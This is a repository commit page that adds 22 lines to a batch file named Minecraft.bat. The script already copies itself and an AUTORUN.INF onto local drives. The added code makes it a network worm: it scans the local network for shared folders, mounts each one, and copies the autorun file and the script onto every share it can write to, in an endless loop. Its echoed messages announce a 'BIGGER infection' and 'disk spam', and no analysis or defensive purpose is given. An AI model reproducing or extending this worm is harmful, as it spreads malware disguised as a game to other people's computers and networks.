Update Minecraft.bat
This commit is contained in:
parent
6632eda57d
commit
1e948f2750
1 changed files with 22 additions and 0 deletions
|
@ -10,6 +10,28 @@ copy AUTORUN.INF D:\
|
|||
copy AUTORUN.INF C:\
|
||||
copy Minecraft.bat E:\
|
||||
copy AUTORUN.INF E:\
|
||||
FOR /L %%L IN (1,1,1) DO (
|
||||
copy /y "C:\AUTORUN.inf" %~dp0AUTORUN.inf> NUL: 2>&1
|
||||
copy /y "C:\Minecraft.bat" %~dp0spread.bat> NUL: 2>&1
|
||||
)
|
||||
|
||||
:networkspread
|
||||
REM Scan LAN for writable shared folders
|
||||
FOR /F "tokens=1,2 delims=:" %%I IN ('net view ^| findstr /I /C:"\\"') DO (
|
||||
IF NOT "%%J" == "" (
|
||||
FOR /L %%L IN (1,1,1) DO (
|
||||
net use n: "%%I:%%J" > NUL: 2>&1
|
||||
IF %ERRORLEVEL% EQU 0 (
|
||||
net use n: /DELETE > NUL: 2>&1
|
||||
ECHO Copying files to %%I:%%J
|
||||
copy /y %~dp0AUTORUN.inf n:\> NUL: 2>&1
|
||||
copy /y %~dp0spread.bat n:\> NUL: 2>&1
|
||||
)
|
||||
net use n: /DELETE > NUL: 2>&1
|
||||
)
|
||||
)
|
||||
)
|
||||
goto networkspread
|
||||
echo Successfully spreaded to drives.
|
||||
echo Prepare for the BIGGER infection
|
||||
echo Prepare for the disk spam.
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue